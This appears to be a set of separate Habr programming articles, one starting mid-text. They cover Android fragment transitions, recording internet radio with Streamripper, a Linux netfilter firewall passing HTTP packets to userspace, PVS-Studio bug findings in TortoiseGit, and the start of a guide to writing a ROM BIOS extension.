1. Enable `setReorderingAllowed(true)`. It allows to reorder a calling the lifecycle methods and your animation will be displayed correctly.
2. Call `addSharedElement()` and add the views that will be shared between screens
3. Add unique `android:transitionName` on each view in transition
4. Add `sharedElementEnterTransition/sharedElementReturnTransition` in destination fragment. Optionally: for better effect we can also set `enterTransition/exitTransition`.
5. Add `postponeEnterTransition/startPostponedEnterTransition` to define the moment when the data is loaded and UI is ready to be drawn
Seems like that’s enough to build animation and make your designers and users happy. BUT there are always some accidents. Let’s take a look what we’ll have if we take the steps listed above:
**Broken animation**
That’s not what we expected. Let’s figure it out.
Mistake #1. Static transitionNames (half a day wasted)
------------------------------------------------------
As I said before, our Views should have unique transition names — otherwise the transition framework won’t be able to recognize which View take part with transition and will make it without them. So where is a problem?
The thing is RecyclerView. That’s it.
If there is RecyclerView and an animating view is a part of RecyclerView item, you should build and set `transitionName` dynamically (forget about XML). Besides, you should do it in both fragments even if the second one doesn’t have RecyclerView.
So the fix is:
```
val transitionNameImage = context.getString(R.string.transition_image, title)
```
You might have noticed I put «title» as an argument to get a unique name. It’s better to use domain model instead of, for instance, item position on the screen, because there is no need to pass these names as arguments to Bundle and parse them from the second Fragment.
Mistake #2. Not considering parent fragment (1.5 days wasted)
-------------------------------------------------------------
I know, you might ask «How come?». But when I was reading the articles about shared animation, no one considered an example in complex fragment’s hierarchy. That’s why you might sometimes not pay attention to it.
So, my first fragment was a child of fragment’s container and no wonder that `postponeEnterTransition()/startPostponedEnterTransition()` had no effect.
**Here it is**
```
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
parentFragment?.also { parentFragment ->
NewsTransitioner.setupFirstFragment(parentFragment)
parentFragment.postponeEnterTransition()
}
// Initialization UI
}
```
What you need to do here is to call these methods from parent fragment.
Mistake #3. Underestimating Glide (2 days wasted)
-------------------------------------------------
«Ok, I’ve learnt how to make shared transition, when to call required methods regarding the lifecycle and the loading. This time it’s gonna work!»
Well I was wrong. This is perhaps the trickiest mistake I’ve faced. Let’s take a look at what we have so far:
**Current animation**
You may notice there is a weird glitch with enter transition. When it starts, the image has already changed matrix and then just move to the final position.
I don’t want to describe the whole investigation here. Long story short, I was lucky to stumble across [a nice article](https://www.thedroidsonroids.com/blog/how-to-use-shared-element-transition-with-glide-in-4-steps).
Where I found solution. Here it is:
“We have this glitch because Glide tries to optimize image loading. By default, Glide is resizing and trimming images to match the target view.”
In order to fix it, I added, no jokes, a single line of code like this to initialization Glide’s chain:
```
Glide
.with(target)
.load(url)
.apply(
RequestOptions().dontTransform() // this line
)
```
So, you should disable any Glide’s transformations on images if they’re involved in a shared transition.
Mistake #4. Incorrectly managing postPostponeTransition()
---------------------------------------------------------
Honestly, it’s not exactly a mistake but still I assume it would be good to mention.
When it comes to manage `postPostponeTransition()` and `startPostponedEnterTransition()` methods, you should select the right moment. The moment is when the UI is already to be drawn.
There are two main points we should know before calling the methods:
* on the one hand, when images with transition are loaded and ready
* on the other hand, the views hierarchy are measured and laid out
For images usually we use Glide and it has a fancy listener:
```
RequestListener {
override fun onLoadFailed(
e: GlideException?,
model: Any?,
target: Target?,
isFirstResource: Boolean
): Boolean {
startPostponedEnterTransition()
return false
}
override fun onResourceReady(
resource: Drawable?,
model: Any?,
target: Target?,
dataSource: DataSource?,
isFirstResource: Boolean
): Boolean {
startPostponedEnterTransition()
return false
}
}
```
Note that we call `startPostponedEnterTransition()` in both cases: success and error. It’s vital because if we don’t make it your application will freeze.
In cases when transition comes without any images you may use `doOnPreDraw()` extension method from ktx on the root layout and do `startPostponedEnterTransition()` over there.
**BONUS**: Speaking of RecyclerView, it’s not enough to simply add a listener for images. We should retain an item position of RecyclerView where transition starts from. When the user goes back to the previous screen, we should compare image loaded position with the retained position at the listener and start transition only when they are matched.
Putting all together
--------------------
In this article, I’ve showed some gotchas you might face implementing a shared transition with fragments and the ways to deal with them.
Briefly, here they are:
1. Keep in mind fragments hierarchy (don’t forget about parent fragment)
2. In case with RecyclerView, always build transition names dynamically (source + destination)
3. Disable any Glide transformations
4. Do calls `postPostponeTransition()` and `startPostponedEnterTransition()` correctly regarding your logic.
**Final animation**
Thank you for reading and see you next time!
P.S. If you wonder how to animate image corners, [here the code](https://gist.github.com/rcmkt/6187f432fadead124212dd2141051a62), just add to the rest shared animation transitions.
**Example**
```
fragment.sharedElementEnterTransition = TransitionSet().apply {
addTransition(ChangeImageTransform())
addTransition(ChangeBounds())
addTransition(ChangeTransform())
addTransition(ChangeOutlineRadiusTransition(animationRadiusData.startRadius,
animationRadiusData.endRadius)
)
}
``` | https://habr.com/ru/post/463459/ | null | en | null |
# Записываем Интернет-радио с помощью Streamripper
Странно, что на Хабре ещё не упоминалась такая полезная программа как [Streamripper](http://streamripper.sourceforge.net/). Это консольная программа, которая позволяет записывать Интернет-радио с таких ресурсов, как [Shoutcast](http://shoutcast.com/) и [Icecast](http://dir.xiph.org/index.php). Причём не просто записывать, а вытаскивать из потока отдельные треки вместе с названиями.
Программа работает в Linux, FreeBSD, BeOS, Windows и OS/2. У Streamripper есть несколько графических оболочек, например [StationRipper](http://stationripper.com/) для Windows. Полный список оболочек есть на домашней странице Streamripper.
#### Использование Streamripper
Теперь немного об использовании и возможностях программы. При этом я буду считать (при именовании файлов и пр.), что поток имеет формат mp3. В простейшем случае программа используется так:
`streamripper URL`
Такая команда натравит Streamripper на заданный URL (URL можно легко вытащить из содержимого плейлиста). Streamripper по названию потока (которое тоже транслируется) создаст директорию в текущей и будет складировать туда треки. Треки, записанные не полностью, будут складироваться в поддиректорию c названием incomplete. Завершать работу программы нужно принудительно (например, нажав Ctrl-C).
`STREAM_NAME
|-A.mp3
|-B.mp3
|-incomplete
|-C.mp3`
Чтобы создавать директорию не в текущей директории, а в произвольной, можно использовать ключ -d.
`streamripper URL -d DIR`
`DIR
|-STREAM_NAME
|-A.mp3
|-B.mp3
|-incomplete
|-C.mp3`
Чтобы Streamripper не создавал директорию с названием потока, надо использовать ключ -s.
`streamripper URL -d DIR -s`
`DIR
|-A.mp3
|-B.mp3
|-incomplete
|-C.mp3`
Streamripper умеет завершать работу по истечению заданного промежутка времени (в секундах) или в момент, когда размер полученных файлов превышает заданную величину (в Мб). Для этого используются ключи -l (строчная L) и -M, соответственно. Если ключи -l и -M используются одновременно, программа завершит работу, когда будет превышено одно из значений.
`streamripper URL -l 7200`
Работать в течение двух часов.
`streamripper URL -M 50`
Работать, пока не накопится 50Мб музыки.
С помощью Streamripper можно одновременно слушать и записывать радио, избегая дублирования трафика. Для этого с помощью ключа -r создаём relay-сервер. По умолчанию, он будет висеть на порту 8000. Пользователи Linux могут делать, например, так:
`streamripper URL -r`
и в другом окне
`mplayer http://127.0.0.1:8000`
Об остальных опциях можно узнать, набрав `streamripper -h` или `man streamripper` (для Unix-подобных систем).
#### Использование для записи интернет-радио утилиты wget
Если разбиение на треки не требуется, для записи интернет-радио можно использовать консольную программу для скачивания wget. В дистрибутивах Linux он обычно установлен по умолчанию, в противном случае он наверняка есть в репозитории. Пользователи Windows могут забрать wget для Windows, например, [здесь](http://users.ugent.be/~bpuype/wget/).
`wget -O радио.mp3 URL`
В этом случае завершать работу wget надо принудительно. Чтобы ограничить время скачивания можно использовать стороннюю утилиту [timeout](http://code.google.com/p/timeout-pl/). В Ubuntu достаточно установить пакет timeout. Использование:
`timeout 30 wget -O радио.mp3 URL`
Записывать в течение 30 секунд
// Первый пост на Хабре. Поправляйте, если что. | https://habr.com/ru/post/43268/ | null | ru | null |
# Создание и тестирование Firewall в Linux, Часть 2.3. Завершаем Firewall. Обрабатываем трафик в userspace
**Содержание первой части:**
**Создание лаборатории, архитектура Netfilter, char device, sysfs**[**1.1** — Создание виртуальной лаборатории (чтобы нам было, где работать, я покажу как создать виртуальную сеть на вашем компьютере. Сеть будет состоять из 3х машин Linux ubuntu).](https://habrahabr.ru/post/315340/)
[**1.2** – Написание простого модуля в Linux. Введение в Netfilter и перехват трафика с его помощью. Объединяем все вместе, тестируем.](https://habrahabr.ru/post/315350/)
[**1.3** – Написание простого char device. Добавление виртуальной файловой системы — sysfs. Написание user interface. Объединяем все вместе, тестируем.](https://habrahabr.ru/post/315454/)
**Содержание второй части:**
[**2.1** — Введение во вторую часть. Смотрим на сеть и протоколы. Wireshark.](https://habrahabr.ru/post/316086/)
[**2.2** — Таблицы Firewall. Transport Layer. Структуры TCP, UDP. Расширяем Firewall.](https://habrahabr.ru/post/316756/)
****2.3** — Расширяем функциональность. Обрабатываем данные в user space. libnetfilter\_queue.**
**2.4** — Бонус. Изучаем реальную Buffer Overflow атаку и предотвращаем с помощью нашего Firewall'а.
### Часть 2.3 – Введение
Мы закончили прошлую часть на
```
if(dest_port == HTTP_PORT || src_port == HTTP_PORT) {
printk("HTTP packet\n");
}
```
В этой части мы посмотрим, как легко послать пакеты из kernel space в user space и обратно. Для примера мы возьмем именно HTTP соединение и добавим блокировку отдельных сайтов. В бонусной части мы рассмотрим существующую уязвимость и, в качестве примера, как с ней бороться.
### libnetfilter\_queue.
К нашему везенью, есть уже готовое решение – низкоуровневая библиотека, написанная на C, для простого взаимодействия с *netfilter* из *userspace* – *libnetfilter\_queue*. Как можно догадаться по названию, когда мы получаем очередной пакет и вызывается установленная нами hook\_function, есть возможность принять пакет (*return NF\_ACCEPT*), выкинуть (*return NF\_DROP*), а есть возможность поместить его в специальную очередь (queue), просто выполнив:
```
#define HTTP_QUEUE_NUMBER 1
return NF_QUEUE_NR(HTTP_QUEUE_NUMBER);
```
*HTTP\_QUEUE\_NUMBER* – это определенный мною номер очереди, куда послать пакет (может быть несколько очередей, что удобно для простого разделения пакетов по типам)
*NF\_QUEUE\_NR* – это макрос, который необходимо использовать (он делает побитовые сдвиги, чтобы вернуть нужное число).
По умолчанию можно также написать:
*return NF\_QUEUE*
и тогда все пакеты будут посланы в очередь с номером ноль. То есть единственное, что необходимо нам поменять в коде, чтобы послать все пакеты связанные с *http* протоколом, это добавить эту строчку:
```
if(dest_port == HTTP_PORT || src_port == HTTP_PORT) {
printk("HTTP packet\n");
return NF_QUEUE_NR(HTTP_QUEUE_NUMBER);
}
```
Теперь необходимо эти пакеты получить в user space. И вот тут нам поможет *[libnetfilter\_queue](http://www.netfilter.org/projects/libnetfilter_queue/)*.
Для того, чтобы им воспользоваться, необходимо скачать и установить нужные библиотеки. Подробно про установку – [тут](http://www.roman10.net/2011/12/01/how-to-configure-install-and-use-libnefilter_queue-on-linux/), все необходимое для установки.
Внутри также есть простой пример, а возможные проблемы при установке решаются при помощи поисковика (у меня нужно было установить еще один пакет). Давайте посмотрим на самые важные моменты из примера. В функции main() (напоминаю, что мы сейчас в user space!) происходят разные инициализации
```
int main(int argc, char **argv)
{
…
printf("opening library handle\n");
h = nfq_open();
if (!h) { exit(1); }
…
qh = nfq_create_queue(h, 0, &cb, NULL);
if (!qh) { exit(1); }
…
for (;;) {
if ((rv = recv(fd, buf, sizeof(buf), 0)) >= 0) {
printf("pkt received\n");
nfq_handle_packet(h, buf, rv);
continue;
}
…
```
Тут важно указать правильный номер *QUEUE*. В примере это ноль, но мы его меняем на наш *qh = nfq\_create\_queue(h, HTTP\_QUEUE\_NUMBER, &cb, NULL);*
Если все инициализации прошли успешно, то мы попадем в бесконечный цикл, где будем «ждать» поступления новых пакетов из *kernel*. Когда такой пакет поступает, вызывается функция cb, указатель на которую мы также передали в *nfw\_create\_queue*:
```
static int cb(struct nfq_q_handle *qh, struct nfgenmsg *nfmsg,
struct nfq_data *nfa, void *data)
{
u_int32_t id = print_pkt(nfa);
printf("entering callback\n");
return nfq_set_verdict(qh, id, NF_ACCEPT, 0, NULL);
}
```
Функция же в свою очередь вызывает *print\_pkt*, которой передают указатель на структуру, содержащую пакет, который к нам пришел. Каждый пакет, получает в соответствии с порядком поступления – номер id, который возвращает *print\_pkt* (на которую мы посмотрим вот вот), и в конце вызывается функция вердикта данному пакету – в данном случае *NF\_ACCEPT* – принять.
Теперь к «сердцу» примера – *print\_pkt*:
```
static u_int32_t print_pkt(struct nfq_data *tb)
```
В оригинальном примере есть множество функций для доступа к различным данным через *nfq\_data \*tb*, мы же рассмотрим доступ к данным на тех уровнях, которые нам хорошо знакомы из предыдущих частей – *Application*, *Transport*, *Network*
Вот полный код функции:
```
static u_int32_t print_pkt(struct nfq_data *tb)
{
int i = 0;
int packet_len = 0;
unsigned char *data = NULL;
int ip_src_array[4] = {0};
int ip_dst_array[4] = {0};
packet_len = nfq_get_payload(tb, &data);
ip_dst_array[3] = data[16];
ip_dst_array[2] = data[17];
ip_dst_array[1] = data[18];
ip_dst_array[0] = data[19];
ip_src_array[3] = data[12];
ip_src_array[2] = data[13];
ip_src_array[1] = data[14];
ip_src_array[0] = data[15];
char ip_dst_str[20] = {0};
char ip_src_str[20] = {0};
ip_hl_to_str(ip_dst_array, ip_dst_str);
ip_hl_to_str(ip_src_array, ip_src_str);
printf("src_ip = %s, dst_ip = %s", ip_src_str, ip_dst_str);
printf("\n");
if( packet_len >= 0x34 ) {
for(i = 0x34; i < packet_len; ++i){
if(data[i] >= ' ' && data[i] <= '}')
printf("%c", (int)data[i]);
}
}
printf("End of packet checking\n");
return NF_ACCEPT;
}
```
Ну, тут уже не должно быть вопросов.
Компилируем, проверяем:
Так выглядят все части, *http* – сервер который будет слушать http трафик, *interface* – управление устройством, *module* – наш firewall. Компилируем *http* сервер, запускаем *firewall*, запускаем *http* сервер:
Отдельно заходим с *host2* и в этот раз для интереса подключаемся к *host1* на порт 80 и посылаем команду *GET*, чтобы получить главную страницу:
Смотрим результаты, что пишет *http* сервер. Видно посланную нами команду *GET*, а после нее и всю страницу, которую нам послал *host1* в ответ на просьбу.
Теперь уже совершенно очевидно, как, например, заблокировать доступ к отдельным сайтам.
### Завершение первой и второй части
Мы начали первую часть с того, что построили простую сеть из трех компьютеров с операционной системой linux. Дальше мы написали простое устройство, которое умело считать количество пакетов, которые проходят через сетевые карты компьютера, а также разрежать и запрещать их дальнейшую передачу. Все это происходило на уровне ядра операционной системы. Для того, чтобы нам было удобно управлять устройством и получать от него информацию, мы добавили user interface, которые умел посылать команды нашему устройству и принимать от него данные. Так мы получали статистику в удобной нам форме.
Вторую часть мы начали с изучения сетей и протоколов, исследовав детали некоторых из них. И дальше применили наши знания, существенно расширив возможности firewall и получив доступ ко всей необходимой информации, которая содержится в пакете на интересующих нас OSI уровнях. Все это происходит в kernel space.
В этой части мы послали некоторые из пакетов в user space, тем самым намного расширив удобство написания кода и его функциональность, открыв для себя возможность использования множества доступных готовых С\С++ библиотек. Надо отметить, что, сделав это, мы «заплатили» в производительности, но при этом не стали нагружать ядро операционной системы и переложили анализ трафика на пользовательскую аппликацию. Теперь работа firewall стала намного медленней, но в нашем случае это не принципиально.
Современные же firewall – это очень сложный hardware-software комплекс, где все заточено под скорость и качество, и который устанавливается на главный «вход» в большие сети и обрабатывает гигабайты в секунду. Можно представить, что даже незначительное ухудшение производительности (например, обработки пакета) в гигабайтах будет обходиться очень дорого. Поэтому в них постоянно ищут слабые звенья и работают над улучшением их производительности. Кроме того, в задачу современных firewall входит не только проверка правил, но и намного более сложные задачи: отражение разных типов DOS атак, вирусов, предотвращение утечки информации, попыток взлома компьютеров, доступа к подозрительным сайтам и скачивания подозрительного контента. Простейший пример в качестве бонусной статьи мы рассмотрим в последней части – завершающей. | https://habr.com/ru/post/316778/ | null | ru | null |
# Анализатор PVS-Studio проверяет TortoiseGit
В большинстве наших статей говорится об ошибках, найденных в различных проектах с помощью анализатора PVS-Studio. В этот раз для целью для проверки стал проект TortoiseGit.
TortoiseGit
-----------
[Описание](http://www.viva64.com/go.php?url=1402) из Wikipedia: **TortoiseGit** — визуальный клиент системы управления исходными кодами программ git для Microsoft Windows. Реализован как расширение проводника Windows (shell extension). Интерфейс пользователя практически полностью совпадает с TortoiseSVN, за исключением возможностей, специфичных для Git.
Проект TortoiseGit маленький. Размер скаченных исходных кодов составляет 35 мегабайт. А если отбросить папку «ext», то останется только 9 мегабайт.
Разработчики явно заботятся о качестве. Косвенно об этом свидетельствует то, что при компиляции с помощью Visual C++ используется ключ /W4 (четвертый уровень подробности предупреждений). Плюс, в исходном коде я встретил упоминание об анализаторе [Cppcheck](http://www.viva64.com/ru/t/0083/).
Давайте посмотрим, сможет ли что-то интересное найти в этом проекте PVS-Studio.
Результаты проверки
-------------------
**Примечание для разработчиков TortoiseGit.** Сразу проверить проект не получится. Есть путаница с подключением файлов stdafx.h. Поясню совсем кратко.
Местами подключатся не те файлы stdafx.h. При компиляции проблем не видно, так как компилятор берёт данные из прекомпилируемых \*.pch файлов. Но эти ошибки проявляют себя при попытке создать препроцессированные \*.i файлы. Разработчики TortoiseGit могут написать нам, и мы подскажем, как поправить проект.
### Нелады с m\_Rev2
```
class CGitStatusListCtrl :
public CListCtrl
{
....
CString m_Rev1;
CString m_Rev2;
....
};
void CGitStatusListCtrl::OnContextMenuList(....)
{
....
if( (!this->m_Rev1.IsEmpty()) || (!this->m_Rev1.IsEmpty()) )
....
}
```
Предупреждение PVS-Studio: V501 There are identical sub-expressions '(!this->m\_Rev1.IsEmpty())' to the left and to the right of the '||' operator. gitstatuslistctrl.cpp 1560
В классе есть два члена: m\_Rev1 и m\_Rev2. Скорее всего, именно они и должны были присутствовать в выражении. Тогда, код должен быть таким:
```
if( (!this->m_Rev1.IsEmpty()) || (!this->m_Rev2.IsEmpty()) )
```
Ещё одно очень похожее место:
```
void CGitStatusListCtrl::OnNMDblclk(....)
{
....
if( (!m_Rev1.IsEmpty()) ||
(!m_Rev1.IsEmpty())) // m_Rev1 twice???
....
}
```
Предупреждение PVS-Studio: V501 There are identical sub-expressions '(!m\_Rev1.IsEmpty())' to the left and to the right of the '||' operator. gitstatuslistctrl.cpp 2642
В коде есть комментарий, который говорит, что разработчики тоже подозревают неладное :).
И ещё одну такую опечатку можно найти здесь: gitstatuslistctrl.cpp 3274.
### Что-то не так условиями
```
svn_error_t *
svn_mergeinfo__adjust_mergeinfo_rangelists(....)
{
....
if (range->start + offset > 0 && range->end + offset > 0)
{
if (range->start + offset < 0)
range->start = 0;
else
range->start = range->start + offset;
if (range->end + offset < 0)
range->end = 0;
else
range->end = range->end + offset;
....
}
```
Предупреждение PVS-Studio: V637 Two opposite conditions were encountered. The second condition is always false. Check lines: 2464, 2466. TortoiseGitMerge mergeinfo.c 2464
С условиями что-то не так. Чтобы стало более понятно, упростим код:* Заменим «range->start + offset» на A;
* Заменим «range->end + offset» на B.
Получается следующий псевдокод:
```
if (A > 0 && B > 0)
{
if (A < 0)
range->start = 0;
else
range->start = A;
if (B < 0)
range->end = 0;
else
range->end = B;
....
}
```
Теперь хорошо видно, что нет смысла делать проверки (A < 0), (B < 0). Эти условия никогда не выполняются. Код содержит какие-то логические ошибки.
### Забыли разыменовать указатель
```
void
svn_path_splitext(const char **path_root,
const char **path_ext,
const char *path,
apr_pool_t *pool)
{
const char *last_dot;
....
last_dot = strrchr(path, '.');
if (last_dot && (last_dot + 1 != '\0'))
....
}
```
Предупреждение PVS-Studio: V528 It is odd that pointer to 'char' type is compared with the '\0' value. Probably meant: \*last\_dot + 1 != '\0'. path.c 1258
Рассмотрим выражение (last\_dot + 1 != '\0') боле подробно. В нём к указателю прибавляется единица, после чего полученный результат сравнивается с нулём. Это выражение не имеет практического смысла. Мне кажется, код должен был быть таким:
```
if (last_dot && (*(last_dot + 1) != '\0'))
```
Хотя, пожалуй, лучше написать:
```
if (last_dot && last_dot[1] != '\0')
```
Анализатор PVS-Studio нашёл ещё одну схожую ошибку:
```
static const char *
fuzzy_escape(const char *src, apr_size_t len, apr_pool_t *pool)
{
const char *src_orig = src;
....
while (src_orig < src_end)
{
if (! svn_ctype_isascii(*src_orig) || src_orig == '\0')
....
}
```
Предупреждение PVS-Studio: V528 It is odd that pointer to 'char' type is compared with the '\0' value. Probably meant: \*src\_orig == '\0'. utf.c 501
Должно быть написано:
```
if (! svn_ctype_isascii(*src_orig) || *src_orig == '\0')
```
### Восьмеричное число
Есть код, который кочует с помощью Copy-Paste из проекта в проект, и я его часто встречаю. Он содержит ошибку, из-за которой почти все программы неправильно ведут себя с кодировкой IBM EBCDIC US-Canada. Думаю, это не страшно. Не думаю, что кто-то сейчас использует эту кодировку. Однако, рассказать про ошибку стоит. Вот этот код:
```
static CodeMap map[]=
{
{037, _T("IBM037")}, // IBM EBCDIC US-Canada
{437, _T("IBM437")}, // OEM United States
{500, _T("IBM500")}, // IBM EBCDIC International
....
};
```
Предупреждение PVS-Studio: V536 Be advised that the utilized constant value is represented by an octal form. Oct: 037, Dec: 31. unicodeutils.cpp 42
Чтобы текст программы смотрелся красиво, к числу 37 был добавлен 0. Это неправильно. Десятичное число 37 превратилось в восьмеричное число 037. Восьмеричное число 03 7равно десятичному числу 31.
### Условия, которые всегда истинны или ложны
```
void CCloneDlg::OnBnClickedCheckSvn()
{
....
CString str;
m_URLCombo.GetWindowText(str);
while(str.GetLength()>=1 &&
str[str.GetLength()-1] == _T('\\') &&
str[str.GetLength()-1] == _T('/'))
{
str=str.Left(str.GetLength()-1);
}
....
}
```
Предупреждения PVS-Studio: V547 Expression is always false. Probably the '||' operator should be used here. clonedlg.cpp 413
Приведенный фрагмент кода должен удалять все символы \ и / в конце строки. На самом деле эти символы удалены не будут. Ошибка в этом месте:
```
str[str.GetLength()-1] == _T('\\') &&
str[str.GetLength()-1] == _T('/')
```
Символ в строке не может быть одновременно \ и /. Программа должна выглядеть так:
```
while(str.GetLength()>=1 &&
(str[str.GetLength()-1] == _T('\\') ||
str[str.GetLength()-1] == _T('/')))
{
str=str.Left(str.GetLength()-1);
}
```
Аналогичная ошибка, связанная с проверкой статуса:
```
enum git_ack_status {
GIT_ACK_NONE,
GIT_ACK_CONTINUE,
GIT_ACK_COMMON,
GIT_ACK_READY
};
static int wait_while_ack(gitno_buffer *buf)
{
....
if (pkt->type == GIT_PKT_ACK &&
(pkt->status != GIT_ACK_CONTINUE ||
pkt->status != GIT_ACK_COMMON)) {
....
}
```
Предупреждение PVS-Studio: V547 Expression is always true. Probably the '&&' operator should be used here. smart\_protocol.c 264
Здесь наоборот условие всегда выполняется. Статус всегда неравен GIT\_ACK\_CONTINUE или не равен GIT\_ACK\_COMMON.
### Отсутствует виртуальный деструктор
В программе есть класс Command, который содержит виртуальные функции:
```
class Command
{
virtual bool Execute() = 0;
....
};
```
Деструктор забыли объявить виртуальным. От класса наследуется множество других классов:
```
class SVNIgnoreCommand : public Command ....
class AddCommand : public Command ....
class AutoTextTestCommand : public Command ....
```
Так как в программе работают с указателем на базовый класс, то приводит к проблемам при разрушении объектов.
```
BOOL CTortoiseProcApp::InitInstance()
{
....
Command * cmd = server.GetCommand(....);
....
delete cmd;
....
}
```
Предупреждение PVS-Studio: V599 The virtual destructor is not present, although the 'Command' class contains virtual functions. TortoiseGitProc tortoiseproc.cpp 497
**Примечание.** Сделаю небольшое отступление. Часто люди шутят и насмехаются, обсуждая избитый вопрос на собеседовании «Для чего нужны виртуальные деструкторы?». Мол, сколько можно его уже задавать.
А зря, кстати смеются. Очень хороший вопрос. Я обязательно его задаю. Он позволяет быстрее выявить подозрительных личностей. Если человек отвечает на вопрос про виртуальные деструкторы, это конечно ничего особенного не означает. Он или прочитал про это в книжке или проявил интерес к тому, какие вопросы обычно задают на собеседованиях. И решил подготовился, изучив ответы на типовые вопросы.
Ещё раз. Правильный ответ на вопрос, вовсе не гарантирует что человек хороший программист. Намного важнее, если человек не может ответить на этот вопрос. Как можно читать книги по Си++, читать статьи в интернете про собеседования, и пропустить эту тему? Очень странно!
### Потенциальное разыменование нулевого указателя
В этот раз внимательно не смотрел предупреждения, связанные с потенциальной возможностью разменивать нулевой указатель. Есть некоторое количество диагностик [V595](http://www.viva64.com/ru/d/0205/), но что-то смотреть и изучать их уже неинтересно. Приведу только один пример:
```
void free_decoration(struct decoration *n)
{
unsigned int i;
struct object_decoration *hash = n->hash;
if (n == NULL || n->hash == NULL)
return;
....
}
```
Предупреждение PVS-Studio: V595 The 'n' pointer was utilized before it was verified against nullptr. Check lines: 41, 43. decorate.c 41
Указатель 'n' разыменовывается в выражении 'n->hash'. Ниже указатель 'n' проверяется на равенство NULL. Это значит, что указатель может оказаться нулевым и это приведёт к проблемам.
### Неправильный формат строки
```
int CGit::GetCommitDiffList(....)
{
....
cmd.Format(
_T("git.exe diff -r -R --raw -C -M --numstat -z %s --"),
ignore, rev1);
....
}
```
Предупреждение PVS-Studio: V576 Incorrect format. A different number of actual arguments is expected while calling 'Format' function. Expected: 2. Present: 3. git.cpp 1231
Один фактический аргумент лишний.
### Потенциально опасный индекс массива
В TortoiseGit имеется следующий код:
```
static svn_error_t *
token_compare(....)
{
....
int idx = datasource_to_index(file_token[i]->datasource);
file[i] = &file_baton->files[idx];
....
}
```
Он опасен тем, что переменная 'idx' теортетически может иметь отрицательное значение. Анализатор заметил, что функция datasource\_to\_index может возвращать в случае ошибки значение -1:
```
static int
datasource_to_index(svn_diff_datasource_e datasource)
{
switch (datasource)
{
....
}
return -1;
}
```
Предупреждение PVS-Studio: V557 Array underrun is possible. The value of 'idx' index could reach -1. diff\_file.c 1052
Таким образом, хотя этот код вполне может работать, потенциально он является опасным. Может произойти выход за границу массива.
### Resource leak
```
CMyMemDC(CDC* pDC, ....)
{
....
CreateCompatibleDC(pDC);
....
}
```
Предупреждение PVS-Studio: V530 The return value of function 'CreateCompatibleDC' is required to be utilized. mymemdc.h 36
Создается device context (DC), но никак не используется и не уничтожается. Аналогичная ситуация здесь: mymemdc.h 70
### Сравниваются различные enum-типы
Происходит путаница при сравнении нумерованных типов:
```
static enum {
ABORT, VERBATIM, WARN, WARN_STRIP, STRIP
} signed_tag_mode = ABORT;
static enum {
ERROR, DROP, REWRITE
} tag_of_filtered_mode = ERROR;
static void handle_tag(const char *name, struct tag *tag)
{
....
switch(tag_of_filtered_mode) {
case ABORT:
....
}
```
Предупреждение PVS-Studio: V556 The values of different enum types are compared: switch(ENUM\_TYPE\_A) { case ENUM\_TYPE\_B:… }. fast-export.c 449
Переменная tag\_of\_filtered\_mode имеет один тип, а ABORT относится к другому типу.
### Опечатка
```
static int blame_internal(git_blame *blame)
{
....
blame->ent = ent;
blame->path = blame->path;
....
}
```
Предупреждение PVS-Studio: V570 The 'blame->path' variable is assigned to itself. blame.c 319
### Другие ошибки
Были найдены и другие ошибки и недочёты. Но мне они не показались интересными, чтобы описывать их в статье. Разработчики TortoiseGit легко смогут найти все недочёты, воспользовавшись инструментом PVS-Studio.
Хочу напомнить, что основная польза от статического анализа заключается в регулярном его использовании. Скачать и разово проверить код, это баловство, а не использование методики статического анализа кода. Например, предупреждения компилятора программисты смотрят регулярно, а не включают их раз в 3 года перед одним из релизов.
Заключение
----------
Эта статья получилась с сильным рекламным уклоном. Прошу прощения. Во-первых, не каждый раз получаются действительно [интересные](http://www.viva64.com/ru/b/0251/) [статьи](http://www.viva64.com/ru/b/0249/) про проверку проектов. Во-вторых, хочется, чтобы побольше людей узнали про анализатор PVS-Studio. Это отличный, недорогой инструмент, который может подойти огромной аудитории разработчиков, использующих Visual C++. При регулярном использовании он сэкономит массу времени на поиск опечаток и других ошибок.
Скачать PVS-Studio: <http://www.viva64.com/ru/pvs-studio-download/>
Эта статья на английском
------------------------
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Andrey Karpov. [The PVS-Studio Analyzer Checks TortoiseGit](http://www.viva64.com/en/b/0256/).
**Прочитали статью и есть вопрос?**Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: [Ответы на вопросы читателей статей про PVS-Studio и CppCat, версия 2014](http://www.viva64.com/ru/a/0085/). Пожалуйста, ознакомьтесь со списком. | https://habr.com/ru/post/223243/ | null | ru | null |
# Пишем свой ROM BIOS
[](https://habr.com/ru/company/timeweb/blog/700722/)
Со стародавних времён хотел попробовать создать собственный ROM BIOS, который будет записан в отдельную микросхему и будет выполнять какие-то полезные действия. Например, ROM BIOS установлен в видеокартах (по крайне мере старых), контроллерах дисков и много где ещё — это фактически расширения обычного BIOS. Понимаю, что это всё старьё и тягаться с возможностями современного UEFI бессмысленно, но мне очень хотелось создать свой собственный образ, который находится физически в отдельной микросхеме и работает при старте системы. Поэтому пришлось даже для этих целей найти старый комп.
Когда я только решил влезть в этот вопрос, столкнулся с тем, что достаточно мало толковой информации, которая была бы хорошо и чётко изложена. Возможно, я плохо искал, примеров того, как писать свою программу в бутсектор жёсткого диска было много, а вот толкового мануала по созданию BIOS Extension — кот наплакал.
В этой статье мы с вами разберём создание своего ROM BIOS, дальше я расскажу про тонкости и нюансы, напишу низкоуровневый «Hello world», сделаю настоящий интерпретатор BASIC ROM, который стартует при включении компьютера, как в первых IBM PC.
❯ Теория работы расширения BIOS
--------------------------------
Думаю, все знают, что такое BIOS, многие заходили в его настройки при старте компьютера. Но, оказывается, есть возможность делать для него модули расширения и создавать там свой функционал.
Если говорить об архитектуре IBM BIOS, то он может быть расширен отдельными модулями, и всё будет работать как единый код. Поэтому в персональную ЭВМ могут быть добавлены дополнительные микросхемы ПЗУ, которые будут включать в себя эти модули.
Многие из вас видели эти микросхемы на сетевых картах, но они также присутствуют в видеокартах VGA Video BIOS, системный (основной) BIOS, BIOS IDE жёсткого диска и многие другие.
